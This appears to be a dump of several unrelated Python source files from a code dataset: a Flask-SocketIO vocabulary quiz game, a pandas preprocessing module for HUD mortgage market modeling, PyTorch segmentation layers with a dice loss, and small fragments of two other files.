current_user.is_authenticated:\n flash('Please login', 'danger')\n return redirect(url_for('home'))\n \n \n unknown = 'https://lms-tester.s3-ap-northeast-1.amazonaws.com/avatar/waiting.png'\n \n\n users = {\n 1: ['Waiting', unknown],\n 2: ['Waiting', unknown]\n }\n \n return render_template('fight.html', title='Fight', users=users, username=current_user.username)\n\n\n@app.route(\"/fightscores/\", methods=['GET', 'POST'])\ndef fight_scores(game):\n Games = set_environment()[0] \n gameID = game.split('_')[0]\n\n if not current_user.is_authenticated:\n flash('Please login', 'danger')\n return redirect(url_for('home'))\n\n data = Games.query.filter_by(id=gameID).first()\n game_results = ast.literal_eval(data.results)\n game_qs = ast.literal_eval(data.records) \n \n print('GAME_RESULTS')\n pprint(game_results)\n\n opponent = None \n player = current_user.username\n\n \n # set opponent name\n for key in game_results:\n for user in game_results[key]:\n if user != current_user.username:\n opponent = user\n print('opponent name found')\n break\n \n for key in game_results:\n if game_results[key][player][0] == 1 and game_results[key][opponent][0] == 1:\n if game_results[key][player][1] > game_results[key][opponent][1]:\n game_results[key][player][1] = 1\n game_results[key][opponent][1] = 0\n elif game_results[key][player][1] < game_results[key][opponent][1]:\n game_results[key][player][1] = 0\n game_results[key][opponent][1] = 1\n else:\n game_results[key][player][1] = 0\n game_results[key][opponent][1] = 0\n else:\n game_results[key][player][1] = 0\n game_results[key][opponent][1] = 0\n\n print('TIME_RESULTS')\n pprint(game_results)\n\n scores = {\n player : [0, 0] , \n opponent : [0, 0] \n }\n\n # calculate scores\n for key in game_results:\n scores[player][0] += sum(game_results[key][player])\n scores[opponent][0] += sum(game_results[key][opponent])\n \n print ('SCORES', scores)\n game_results['SCORE'] = scores\n\n if scores[player] > scores[opponent]:\n user = User.query.filter_by(username=player).first()\n if user:\n winner = player\n winnerID = user.studentID\n else: \n winner = player\n winnerID = player\n elif scores[opponent] > scores[player]:\n user = User.query.filter_by(username=opponent).first()\n if user:\n winner = opponent\n winnerID = user.studentID\n else: \n winner = opponent \n winnerID = opponent \n else:\n winner = 'EVENS'\n winnerID = 'EVENS'\n\n # add winner to games data base\n data.winner = winnerID\n db.session.commit() \n\n return render_template('fightscores.html', title='Scores', player=player, opponent=opponent, game_results=game_results, winner=winner)\n\n\ndef add_questions (q): \n jDict = json_path(set_environment()[1]) \n with open(jDict, \"r\") as f:\n jload = json.load(f)\n\n # make a list of number as long as the json dictionary\n numbers = list(range(1, len(jload)+1))\n\n QUESTIONS = q\n count = 1 \n\n qDict = {}\n while count < QUESTIONS +1:\n # suffle the list before accessing it\n random.shuffle(numbers)\n no_duplicate = False\n for key in qDict:\n if numbers[0] in qDict[key]['q']:\n no_duplicate = True \n\n if no_duplicate == False:\n aList = [\n jload[str(numbers[0])][1],\n jload[str(numbers[1])][1],\n jload[str(numbers[2])][1]\n ]\n random.shuffle(aList)\n qDict[count] = {\n 'q': [\n jload[str(numbers[0])] [0],\n jload[str(numbers[0])] [1], \n numbers[0]\n ],\n 'a': aList\n }\n count +=1\n else:\n pass\n\n pprint(qDict) \n qString = json.dumps(qDict) \n\n return qString\n\ndef set_game(bot):\n Games = set_environment()[0] \n roomTag = set_environment()[2] \n\n number_of_qs = 6\n gameSet = None \n\n if bot == None:\n player = current_user.username\n else:\n player = 'Bot'\n gameSet = 1\n room = bot\n gameID = int(room.split('_')[0])\n \n avatars = [\n 'https://lms-tester.s3-ap-northeast-1.amazonaws.com/avatar/robot_01.PNG',\n 'https://lms-tester.s3-ap-northeast-1.amazonaws.com/avatar/robot_02.PNG', \n 'https://lms-tester.s3-ap-northeast-1.amazonaws.com/avatar/robot_03.PNG',\n 'https://lms-tester.s3-ap-northeast-1.amazonaws.com/avatar/robot_04.PNG', \n 'https://lms-tester.s3-ap-northeast-1.amazonaws.com/avatar/robot_05.PNG',\n 'https://lms-tester.s3-ap-northeast-1.amazonaws.com/avatar/robot_06.PNG',\n 'https://lms-tester.s3-ap-northeast-1.amazonaws.com/avatar/robot_07.PNG', \n 'https://lms-tester.s3-ap-northeast-1.amazonaws.com/avatar/robot_08.PNG', \n 'https://lms-tester.s3-ap-northeast-1.amazonaws.com/avatar/robot_09.PNG',\n 'https://lms-tester.s3-ap-northeast-1.amazonaws.com/avatar/robot_10.PNG' \n ] \n\n game = Games.query.filter_by(gameSet=0).first()\n if game:\n print ('FOUND GAME ', game)\n game.gameSet = 1\n room = str(game.id) + roomTag \n gameID = game.id\n gameSet = 1 # this means we are joining an existing game\n db.session.commit() \n \n # no game ready to join, so make new game\n if gameSet == None: \n random.shuffle(avatars)\n\n # player dict\n pDict = {\n 'p1' : player, \n 'p2' : 'Waiting', \n 'sid1' : request.sid, \n 'sid2' : None, \n 'avatar1' : avatars[0],\n 'avatar2' : avatars[1]\n }\n\n qString = add_questions(number_of_qs) # random questions function\n\n newGame = Games(players=str(pDict), gameSet=0, records=qString)\n db.session.add(newGame)\n db.session.commit()\n print (newGame.id)\n player = 'p1'\n room = str(newGame.id) + roomTag\n\n # game is available to join\n elif gameSet == 1: \n challenge = Games.query.filter_by(id=gameID).first() \n if challenge.gameSet == 1:\n pDict = ast.literal_eval(challenge.players)\n qDict = ast.literal_eval(challenge.records)\n p1 = pDict['p1']\n pDict['p2'] = player\n if p1 == player:\n # cannot play against yourself\n return None\n elif player == 'Bot':\n pDict['avatar2'] = \"https://lms-tester.s3-ap-northeast-1.amazonaws.com/avatar/bot_01.png\" \n \n pDict['sid2'] = request.sid \n pDict['gameID'] = room\n print (pDict) \n\n ## create results dictionary for score tally later\n rDict = {} \n botPoints = [0,1,1] \n for number in qDict: \n if player == 'Bot': \n botScore = random.choice(botPoints)\n botTime = random.randint(20,70)\n else:\n # no bot so....\n botScore = 0\n botTime = 0 \n rDict[qDict[number]['q'][0]] = { pDict['p1'] : [0,0], pDict['p2'] : [botScore, botTime] }\n\n print ('RDICT')\n pprint(rDict)\n rString = json.dumps(rDict) \n challenge.results = rString\n challenge.players = str(pDict)\n challenge.gameSet = 1 \n db.session.commit() \n player = 'p2' \n room = room\n qString = challenge.records \n else:\n # bot is too late to join \n print('too late to join')\n return None\n \n\n return {\n # this will be joining as p1 or as p2\n 'player': player, \n 'room': room, \n 'qString': qString, \n 'pDict' : pDict, \n 'qs' : number_of_qs\n }\n\n@socketio.on('connect')\ndef on_connect():\n \"\"\"User connects\"\"\"\n print('connect_python')\n send({\"username\": current_user.username})\n\n\n@socketio.on('join')\ndef on_join(data):\n \"\"\"User joins a room\"\"\"\n print('join started')\n player_game = set_game(None) \n if player_game == None:\n return 'ERROR - No Game Set'\n print (player_game)\n room = player_game['room']\n player = player_game['player']\n qString = player_game['qString']\n pDict = player_game['pDict']\n qs = player_game['qs']\n \n join_room(room) \n \n emit('playerReady', {'player': player, 'room': room, 'qString': qString, 'pDict': pDict, 'qs': qs}, room=room)\n\n@socketio.on('bot')\ndef bot_mode(data):\n Games = set_environment()[0] \n\n room = data['room']\n gameID = int(room.split('_')[0])\n #using 'room' as an argument means the bot will be loaded\n player_game = set_game(room) \n qs = player_game['qs'] \n pDict = player_game['pDict'] \n\n game = Games.query.filter_by(id=gameID).first()\n results = ast.literal_eval(game.results)\n \n botDict = {}\n count = 1\n for vocab in results:\n botDict[count] = results[vocab]['Bot'][1] \n count += 1\n print ('botDict ', botDict)\n\n emit('botReady', {'pDict': pDict, 'botDict': botDict, 'qs':qs}, room=room)\n\n\n@socketio.on('choice_made')\ndef choice_made(data):\n print ('choice', data) \n\n room = data['room']\n username = data['username'] \n player = data['player'] \n \n socketio.emit('turn', {'player' : player}, room=room)\n\n@socketio.on('finish')\ndef finish(data): \n Games = set_environment()[0] \n\n room = data['room']\n gameID = int(room.split('_')[0])\n username = data['username']\n ajData = json.loads(data['ajData']) \n\n print('AJDATA', ajData) \n game = Games.query.filter_by(id=gameID).first()\n game_results = ast.literal_eval(game.results)\n \n for q in ajData:\n game_results[q][username][0] = ajData[q][0]\n game_results[q][username][1] = ajData[q][1]\n \n game.results = str(game_results)\n game.gameSet = 2\n db.session.commit()\n \n print ('GAME_RESULTS', game_results)\n \n socketio.emit('end', {'username':username}, room=room)\n leave_room(room)\n\n@socketio.on('lost_player')\ndef lost(data): \n Games = set_environment()[0] \n\n room = data['room']\n try:\n gameID = int(room.split('_')[0])\n except:\n print('No Room Found')\n return False\n username = data['username'] \n\n game = Games.query.filter_by(id=gameID).first()\n pDict = ast.literal_eval(game.players)\n if username == pDict['p1']: \n game.gameSet = 3\n game.winner = pDict['p2']\n db.session.commit()\n elif username == pDict['p2']: \n game.gameSet = 3\n game.winner = pDict['p1']\n db.session.commit()\n else:\n print('No Match Found')\n return False \n\n print ('lost_player', data, room ) \n socketio.emit('lost', {'username':username, 'room':room}, room=room)\n\n@socketio.on('disconnect')\ndef test_disconnect():\n print('Client Disconnected')","sub_path":"routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":14977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"622852960","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import cross_val_score, train_test_split, GridSearchCV\nfrom sklearn.preprocessing import MinMaxScaler\n\nfrom datetime import datetime\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom scipy import stats\n\nimport wrangle as wr\n\ndef get_model_df():\n \"\"\"\n This function does the following:\n 1. Calls the wrangle_hud function into the df variable\n 2. Groups the data in df by the appropriate categorical variables\n 3. Aggregates the grouped data using various metrics\n 4. Sorts the data by sum and count of final_mortgage_amount\n 5. Renames the features inplace\n 6. Creates a label feature for classification\n \"\"\"\n\n # calling wrangle_hud\n df = wr.wrangle_hud()\n\n # creating New Construction DataFrame\n nc_df = df[df.activity_description == \"New Construction\"]\n\n # grouping all data by project_city, project_state, and fiscal_year_of_firm_commitment\n # aggregating final_mortgage_amount\n # sorting by sum and count in descending order\n model_df = df.groupby([\"project_city\", \"project_state\", \"fiscal_year_of_firm_commitment_activity\"])[\n \"final_mortgage_amount\"\n ].agg([\"count\", \"sum\", \"mean\", \"median\"]).sort_values(\n by=[\"sum\", \"count\"], ascending=False\n ).reset_index()\n\n # rename the features\n model_df.rename(\n columns={\n \"project_city\": \"city\",\n \"project_state\": \"state\",\n \"fiscal_year_of_firm_commitment_activity\": \"year\",\n \"count\": \"quantity_of_mortgages\",\n \"sum\": \"total_mortgage_volume\",\n \"mean\": \"average_mortgage_volume\",\n \"median\": \"median_mortgage_amount\",\n },\n inplace=True,\n )\n\n # grouping nc_df in the same way as the model_df\n nc_model_df = (\n nc_df.groupby(\n [\"project_city\", \"project_state\", \"fiscal_year_of_firm_commitment_activity\"]\n )[\"final_mortgage_amount\"]\n .agg([\"count\", \"sum\", \"mean\", \"median\"])\n .reset_index()\n )\n\n # rename the columns in the nc_model_df\n nc_model_df.rename(\n columns={\n \"project_city\": \"city\",\n \"project_state\": \"state\",\n \"fiscal_year_of_firm_commitment_activity\": \"year\",\n \"count\": \"quantity_of_mortgages\",\n \"sum\": \"total_mortgage_volume\",\n \"mean\": \"average_mortgage_volume\",\n \"median\": \"median_mortgage_amount\",\n },\n inplace=True,\n )\n\n # merging model_df and nc_model_df on city, state, and year and suffixing the features with the same names appropriately\n combined_df = pd.merge(model_df, nc_model_df, on=[\"city\", \"state\", \"year\"], how=\"left\", suffixes=(\"_pop\", \"_nc\"))\n\n # reassigning the model_df variable to the combined DataFrame created in the cell above\n model_df = combined_df\n\n # filling \n\n # create label feature\n model_df[\"label\"] = np.where(\n ((model_df.city == \"Houston\") & (model_df.state == \"TX\") & (model_df.year == 2009))\n | ((model_df.city == \"Seattle\") & (model_df.state == \"WA\") & (model_df.year == 2010))\n | ((model_df.city == \"Dallas\") & (model_df.state == \"TX\") & (model_df.year == 2012)),\n True,\n False,\n )\n\n return model_df\n\n\n# ------------------- #\n# Feature Engineering #\n# ------------------- #\n\ndef calculate_city_state_vol_delta(df):\n \"\"\"\n This function creates the specific market growth (city + state observation) rate using volume by doing the following:\n 1. Creates the city_state_growth_pop feature out of the total_mortgage_volume_pop\n 2. Creates the city_state_growth_nc feature out of the total_mortgage_volume_nc\n 3. Returns the df with the new features\n \"\"\"\n\n # create city_state_vol_delta_pop\n df[\"city_state_vol_delta_pop\"] = df.sort_values([\"year\"]).groupby([\"city\", \"state\"])[[\"total_mortgage_volume_pop\"]].pct_change()\n\n # create city_state_vol_delta_nc\n df[\"city_state_vol_delta_nc\"] = df.sort_values([\"year\"]).groupby([\"city\", \"state\"])[[\"total_mortgage_volume_nc\"]].pct_change()\n\n return df\n\ndef calculate_city_state_qty_delta(df):\n \"\"\"\n This function creates the specific market growth (city + state observation) rate using quantity by doing the following:\n 1. Creates the city_state_qty_delta_pop feature out of the quantity_of_mortgages_pop\n 2. Creates the city_state_qty_delta_nc feature out of the quantity_of_mortgages_nc\n 3. Returns the df with the new features\n \"\"\"\n\n # create city_state_qty_delta_pop\n df[\"city_state_qty_delta_pop\"] = df.sort_values([\"year\"]).groupby([\"city\", \"state\"])[[\"quantity_of_mortgages_pop\"]].pct_change()\n\n # create city_state_qty_delta_nc\n df[\"city_state_qty_delta_nc\"] = df.sort_values([\"year\"]).groupby([\"city\", \"state\"])[[\"quantity_of_mortgages_nc\"]].pct_change()\n\n return df\n\ndef calculate_evolution_index(df):\n \"\"\"\n This function calculates the evolution index using the market_volume_delta feature created within using the market_volume\n \"\"\"\n\n # EI = (1 + Company Growth %) / (1 + Market Growth %) X 100\n df = df.sort_values([\"city\", \"state\", \"year\"])\n\n # calc market_volume_pop for the year\n df[\"market_volume\"] = df.groupby(\"year\").total_mortgage_volume_pop.transform(\"sum\")\n\n # calculate market growth rate for the population from prior year\n df[\"market_volume_delta\"] = np.where(df.year > 2006, df[\"market_volume\"].pct_change(), np.nan)\n\n # calc market_volume_nc for the year\n # df[\"market_volume_nc\"] = df.groupby(\"year\").total_mortgage_volume_nc.transform(\"sum\")\n\n # calculate market growth rate from prior year\n # df[\"market_volume_delta_nc\"] = np.where(df.year > 2006, df[\"market_volume_nc\"].pct_change(), np.nan)\n\n # calc evolution index for population\n df[\"ei\"] = (1 + df.city_state_vol_delta_pop) / (1 + df.market_volume_delta)\n\n # calc evolution index for new construction\n # df[\"ei_nc\"] = (1 + df.city_state_vol_delta_nc) / (1 + df.market_volume_delta_nc)\n\n return df\n\ndef filter_top_cities(df):\n\n df[\"city_state\"] = df[\"city\"] + \"_\" + df[\"state\"]\n\n city_mask = df.groupby(\"city_state\").year.count()\n\n city_mask = city_mask[city_mask == 15]\n\n # apply city mask to shrink the df\n def in_city_mask(x):\n return x in city_mask\n df = df[df.city_state.apply(in_city_mask)]\n\n df = df.sort_values([\"city\", \"state\", \"year\"])\n \n return df\n\n#__main prep__\n\ndef add_new_features(df):\n df = calculate_city_state_vol_delta(df)\n df = calculate_city_state_qty_delta(df)\n df = calculate_evolution_index(df)\n\n return df\n\n\n\n# ------------------- #\n# Prep for Modeling #\n# ------------------- #\n\n# def train_test_data(df):\n# train, test = train_test_split(df, train_size=.75, random_state=123)\n# return train, test\n\n# #__Main Pre-modeling function__#\n# def prep_data_for_modeling(df, features_for_modeling, label_feature):\n\n# # To avoid Nan's, I have removed all data from 2006 (because all the var's would be nan)\n# df_model = df[df.year > 2006]\n\n# # Create an observation id to reduce the chance of mistake's\n# df_model[\"observation_id\"] = df_model.city + \"_\" + df_model.state + \"_\" + df_model.year.astype(str)\n\n# # select that features that we want to model, and use our observation id as the row id\n# features_for_modeling += [\"observation_id\"]\n\n# features_for_modeling += [label_feature]\n\n# data = df_model[features_for_modeling].set_index(\"observation_id\")\n\n# train, test = train_test_data(data)\n# train = train.sort_values(\"observation_id\")\n# test = test.sort_values(\"observation_id\")\n\n# X_train = train.drop(columns=label_feature)\n# y_train = train[label_feature]\n# X_test = test.drop(columns=label_feature)\n# y_test = test[label_feature]\n\n# return X_train, y_train, X_test, y_test\n\ndef split_data(df, train_size=.75,random_state = 124):\n train, test = train_test_split(df, train_size=train_size, random_state=random_state, stratify = df[\"should_enter\"])\n train, validate = train_test_split(train, train_size=train_size, random_state=random_state, stratify = train[\"should_enter\"])\n return train, validate, test\n\ndef return_values(scaler, train, validate, test):\n '''\n Helper function used to updated the scaled arrays and transform them into usable dataframes\n '''\n train_scaled = pd.DataFrame(scaler.transform(train), columns=train.columns.values).set_index([train.index.values])\n validate_scaled = pd.DataFrame(scaler.transform(validate), columns=validate.columns.values).set_index([validate.index.values])\n test_scaled = pd.DataFrame(scaler.transform(test), columns=test.columns.values).set_index([test.index.values])\n return scaler, train_scaled, validate_scaled, test_scaled\n\n# Linear scaler\ndef min_max_scaler(train,validate, test):\n '''\n Helper function that scales that data. Returns scaler, as well as the scaled dataframes\n '''\n scaler = MinMaxScaler().fit(train)\n scaler, train_scaled, validate_scaled, test_scaled = return_values(scaler, train, validate, test)\n return scaler, train_scaled, validate_scaled, test_scaled\n\n#__Main Pre-modeling function__#\ndef prep_data_for_modeling(df, features_for_modeling, label_feature):\n\n # To avoid Nan's, I have removed all data from 2006 (because all the var's would be nan)\n df_model = df[df.year > 2007]\n\n # Create an observation id to reduce the chance of mistake's\n df_model[\"observation_id\"] = df_model.city + \"_\" + df_model.state + \"_\" + df_model.year.astype(str)\n\n # select that features that we want to model, and use our observation id as the row id\n features_for_modeling += [\"observation_id\"]\n\n features_for_modeling += [label_feature]\n\n data = df_model[features_for_modeling].set_index(\"observation_id\")\n \n train, validate, test = split_data(data)\n train = train.sort_values(\"observation_id\")\n validate = validate.sort_values(\"observation_id\")\n test = test.sort_values(\"observation_id\")\n \n \n X_train = train.drop(columns=label_feature)\n y_train = train[label_feature]\n X_validate = validate.drop(columns=label_feature)\n y_validate = validate[label_feature]\n X_test = test.drop(columns=label_feature)\n y_test = test[label_feature]\n \n scaler, train_scaled, validate_scaled, test_scaled = min_max_scaler(X_train, X_validate, X_test)\n\n return train_scaled, validate_scaled, test_scaled, y_train, y_validate, y_test\n\n\n\n#__Feature creation for labeling __#\ndef labeling_future_data(df):\n \"\"\"this function takes in a data frame and returns a boolean column that identifies\n if a city_state_year is a market that should be entered\"\"\"\n \n df[\"label_quantity_of_mortgages_pop_2y\"] = (df.sort_values([\"year\"])\n .groupby([\"city\", \"state\"])[[\"quantity_of_mortgages_pop\"]]\n .pct_change(2)\n .shift(-2))\n \n df[\"label_total_mortgage_volume_pop_2y\"] = (df.sort_values([\"year\"])\n .groupby([\"city\", \"state\"])[[\"total_mortgage_volume_pop\"]]\n .pct_change(2)\n .shift(-2))\n \n Q3 = df.label_quantity_of_mortgages_pop_2y.quantile(.75)\n Q1 = df.label_quantity_of_mortgages_pop_2y.quantile(.25)\n upper_fence_quantity = Q3 + ((Q3-Q1)*1.5)\n upper_fence_quantity\n \n Q3 = df.label_total_mortgage_volume_pop_2y.quantile(.75)\n Q1 = df.label_total_mortgage_volume_pop_2y.quantile(.25)\n upper_fence_volume = Q3 + ((Q3-Q1)*1.5)\n upper_fence_volume\n \n df['should_enter'] = (df.label_total_mortgage_volume_pop_2y > upper_fence_volume) | (df.label_quantity_of_mortgages_pop_2y > upper_fence_quantity)\n \n return df\n\n# Mother Preprocessing Function #\n\ndef preprocessing_main_function(features_for_modeling, label_feature):\n df = get_model_df()\n df = add_new_features(df)\n df = filter_top_cities(df)\n df = labeling_future_data(df)\n\n # Add oversampling\n df = df.append(df[df.should_enter])\n df = df.append(df[df.should_enter])\n df = df.append(df[df.should_enter])\n\n train_scaled, validate_scaled, test_scaled, y_train, y_validate, y_test = prep_data_for_modeling(df, features_for_modeling, label_feature)\n\n return train_scaled, validate_scaled, test_scaled, y_train, y_validate, y_test\n","sub_path":"final_project/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":12367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"501176546","text":"\"\"\"\nBasic layers implement (Tensor operation).\n\n\"\"\"\nimport torch\nimport numpy as np\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom torch.nn import init\nfrom torch.autograd import Variable\nfrom scipy.ndimage.interpolation import zoom\n\n\nclass conv2d(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size=3, padding=1):\n \"\"\"\n + Instantiate modules: conv-relu\n + Assign them as member variables\n \"\"\"\n super(conv2d, self).__init__()\n self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, padding=padding)\n self.relu = nn.PReLU()\n\n def forward(self, x):\n return self.relu(self.conv(x))\n\n\nclass conv2d_x2(nn.Module):\n \"\"\"conv2d x 2 with residual link.\n \n Structure:\n ↑ ------> ------> add ------> ------> ↓ \n inputs --> conv_relu --> conv_relu --> output\n \"\"\"\n\n def __init__(self, in_channels, out_channels, kernel_size=3):\n super(conv2d_x2, self).__init__()\n self.conv1 = conv2d(in_channels, out_channels, kernel_size)\n self.conv2 = conv2d(out_channels, out_channels, kernel_size)\n\n def forward(self, x):\n conv = self.conv2(self.conv1(x))\n return x.expand_as(conv) + conv\n\n\nclass deconv2d_x2(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size=3, stride=2):\n super(deconv2d_x2, self).__init__()\n self.up = deconv2d_as_up(in_channels, out_channels, kernel_size, stride)\n self.lhs_conv = conv2d(out_channels // 2, out_channels, kernel_size)\n self.conv_x2 = conv2d_x2(out_channels, out_channels, kernel_size)\n\n def forward(self, lhs, rhs):\n rhs_up = self.up(rhs)\n lhs_conv = self.lhs_conv(lhs)\n rhs_add = crop(rhs_up, lhs_conv) + lhs_conv\n return self.conv_x2(rhs_add)\n\n\nclass conv3d(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size=3, activation_func=nn.ReLU()):\n \"\"\"\n + Instantiate modules: conv-relu\n + Assign them as member variables\n \"\"\"\n super(conv3d, self).__init__()\n self.conv = nn.Conv3d(in_channels, out_channels, kernel_size, padding=1)\n self.relu = activation_func\n\n def forward(self, x):\n return self.relu(self.conv(x))\n\n\nclass conv3d_x1(nn.Module):\n \"\"\"Single conv with a residual connection.\n\n Structure:\n inputs --> ① --> outputs\n ↓ --add--> ↑\n \"\"\"\n\n def __init__(self, in_channels, out_channels, kernel_size=3, activation_func=nn.ReLU()):\n super(conv3d_x1, self).__init__()\n self.conv_1 = conv3d(in_channels, out_channels, kernel_size, activation_func=activation_func)\n\n def forward(self, x):\n # Perform broadcast manually\n out = self.conv_1(x)\n return out + x.expand_as(out)\n\n\nclass conv3d_x2(nn.Module):\n \"\"\"Two serial convs with a residual connection.\n\n Structure:\n inputs --> ① --> ② --> outputs\n ↓ -->add--> ↑\n \"\"\"\n\n def __init__(self, in_channels, out_channels, kernel_size=3):\n super(conv3d_x2, self).__init__()\n self.conv_1 = conv3d(in_channels, out_channels, kernel_size)\n self.conv_2 = conv3d(out_channels, out_channels, kernel_size)\n\n def forward(self, x):\n return x + self.conv_2(self.conv_1(x))\n\n\nclass conv3d_x3(nn.Module):\n \"\"\"Three serial convs with a residual connection.\n\n Structure:\n inputs --> ① --> ② --> ③ --> outputs\n ↓ -->add--> ↑\n \"\"\"\n\n def __init__(self, in_channels, out_channels, kernel_size=3):\n super(conv3d_x3, self).__init__()\n self.conv_1 = conv3d(in_channels, out_channels, kernel_size)\n self.conv_2 = conv3d(out_channels, out_channels, kernel_size)\n self.conv_3 = conv3d(out_channels, out_channels, kernel_size)\n\n def forward(self, x):\n return x + self.conv_3(self.conv_2(self.conv_1(x)))\n\n\nclass deconv3d_x3(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size=3, stride=2):\n super(deconv3d_x3, self).__init__()\n self.up = deconv3d_as_up(in_channels, out_channels, kernel_size, stride)\n self.lhs_conv = conv3d(out_channels // 2, out_channels, kernel_size)\n self.conv_x3 = conv3d_x3(out_channels, out_channels, kernel_size)\n\n def forward(self, lhs, rhs):\n rhs_up = self.up(rhs)\n lhs_conv = self.lhs_conv(lhs)\n rhs_add = crop(rhs_up, lhs_conv) + lhs_conv\n return self.conv_x3(rhs_add)\n\n\nclass softmax_out(nn.Module):\n def __init__(self, in_channels, out_channels, ndim=3, activation=F.softmax):\n super(softmax_out, self).__init__()\n Conv = eval('nn.Conv' + str(ndim) + 'd')\n self.ndim = ndim\n self.out_channels = out_channels\n self.conv_1 = Conv(in_channels, out_channels, kernel_size=3, padding=1)\n self.conv_2 = Conv(out_channels, out_channels, kernel_size=1, padding=0)\n self.activation = activation\n\n def forward(self, x, restore_size=None):\n \"\"\"'x' with shape [batch_size, 1, (depth), height, width].\"\"\"\n\n # Do NOT add normalize layer, or its values vanish.\n y_conv = self.conv_2(self.conv_1(x))\n\n # Restore image's smaller size through `conv` operation.\n if restore_size is not None:\n UpBilinear = eval('nn.UpsamplingBilinear' + str(self.ndim) + 'd')\n y_conv = UpBilinear(size=restore_size)(y_conv)\n\n # Axis order in [batch_size, channel, depth(if any), height, width]\n order = list(range(self.ndim + 2))\n # Put channel (axis 1) to the last dim for softmax.\n order.append(order.pop(1))\n\n y_perm = y_conv.permute(*order).contiguous()\n # Flat for softmax\n y_flat = y_perm.view(-1, self.out_channels)\n\n return self.activation(y_flat)\n\n\ndef weights_init(net):\n for m in net.modules():\n if isinstance(m, nn.Conv2d) or isinstance(m, nn.ConvTranspose2d) \\\n or isinstance(m, nn.Conv3d) or isinstance(m, nn.ConvTranspose3d):\n init.kaiming_normal(m.weight)\n init.constant(m.bias, 0.01)\n\n\ndef conv2d_as_pool(in_channels, out_channels, kernel_size=3, stride=2, padding=1, activation_func=nn.PReLU()):\n return nn.Sequential(\n nn.Conv2d(in_channels, out_channels, kernel_size, stride, padding=padding),\n activation_func\n )\n\n\ndef conv3d_as_pool(in_channels, out_channels, kernel_size=3, stride=2, padding=1, activation_func=nn.ReLU()):\n return nn.Sequential(\n nn.Conv3d(in_channels, out_channels, kernel_size, stride, padding=padding),\n activation_func\n )\n\n\ndef deconv2d_as_up(in_channels, out_channels, kernel_size=3, stride=2, activation_func=nn.PReLU()):\n return nn.Sequential(\n nn.ConvTranspose2d(in_channels, out_channels, kernel_size, stride),\n activation_func\n )\n\n\ndef deconv3d_as_up(in_channels, out_channels, kernel_size=3, stride=2, padding=0, activation_func=nn.ReLU()):\n return nn.Sequential(\n nn.ConvTranspose3d(in_channels, out_channels, kernel_size, stride=stride, padding=padding),\n activation_func\n )\n\n\ndef crop(large, small):\n \"\"\"\n large / small could be 1-d, 2-d or 3-d Tensor, i.e., [batch_size, channels, (depth,) (height,) width]\n Implemented by tensor.narrow\n \"\"\"\n l, s = large.size(), small.size()\n\n for i in range(2, len(s)):\n diff = (l[i] - s[i]) // 2\n large = large.narrow(i, diff, s[i])\n\n return large\n\n\ndef dice_loss(y_conv, y_true):\n \"\"\"Compute dice among **positive** labels to avoid unbalance.\n\n Arguments:\n y_conv: [batch_size * height * width, 2 ] (torch.cuda.FloatTensor)\n y_true: [batch_size * height * width, (1)] (torch.cuda.FloatTensor)\n\n Returns:\n tuple contains:\n + dice loss: for back-propagation\n + accuracy: (pred ∩ true) / true\n + dice overlap: 2 * pred ∩ true / (pred ∪ true) * 100\n + pred: FloatTensor {0.0, 1.0} with shape [batch_size * height * width, (1)]\n + true: FloatTensor {0.0, 1.0} with shape [batch_size * height * width, (1)]\n \"\"\"\n y_pred = y_conv.max(1)[1] # {0, 1}\n y_conv = y_conv[:, 1]\n y_true = y_true.float()\n\n # Loss\n # `dim = 0` for Tensor result\n intersection = torch.sum(y_conv * y_true, 0)\n union = torch.sum(y_conv * y_conv, 0) + torch.sum(y_true * y_true, 0)\n dice = 2.0 * intersection / union\n\n # Overlap\n pred = y_pred.eq(1).float().data # FloatTensor 0.0 / 1.0\n true = y_true.data # FloatTensor 0.0 / 1.0\n overlap = 2 * (pred * true).sum() / (pred.sum() + true.sum()) * 100\n\n # Accuracy\n acc = pred.eq(true).float().mean()\n return 1 - torch.clamp(dice, 0.0, 1.0 - 1e-7), acc, overlap, pred, true\n\n\ndef get_class_weight(data_loader):\n \"\"\"To balance between foregrounds and backgound for NLL.\n\n Return:\n A Tensor consists [background_weight, *foreground_weight]\n \"\"\"\n # Original label\n label = next(iter(data_loader))[-1].numpy()\n # Get elements in marks i.e., {0, 1}, {0, 10, 150, 250}...\n marks = np.unique(label)\n # The weight of each class\n weights = [(label == m).mean() for m in marks]\n # Inverse to rescale weights\n return 1 / torch.FloatTensor(weights)\n\n\ndef reimage(image, true, pred, zoom_factor=[1, 1, 0.5, 0.5]):\n \"\"\"Process flatten `pred` and `true` to images for visualization.\"\"\"\n\n # Extract data\n image = image.cpu().data.numpy()\n true, pred = [item.cpu().view(*image.shape).numpy() for item in [true, pred]]\n\n # Make label 1 to 255 for better visualization\n pred = pred * 255\n\n # Resize to 1/2\n return [zoom(item, zoom_factor, prefilter=False) for item in [image, true, pred]]\n","sub_path":"bluntools/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":9691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"206372442","text":"\n\nfrom xai.brain.wordbase.nouns._stain import _STAIN\n\n#calss header\nclass _STAINING(_STAIN, ):\n\tdef __init__(self,): \n\t\t_STAIN.__init__(self)\n\t\tself.name = \"STAINING\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"stain\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_staining.py","file_name":"_staining.py","file_ext":"py","file_size_in_byte":235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"234229404","text":"\"\"\"This module contains functions designed to extend the Houdini Object Model\n(HOM) through the use of the inlinecpp module and regular Python.\n\nThe functions in this module are not mean to be called directly. This module\nuses Python decorators to attach the functions to the corresponding HOM classes\nand modules they are meant to 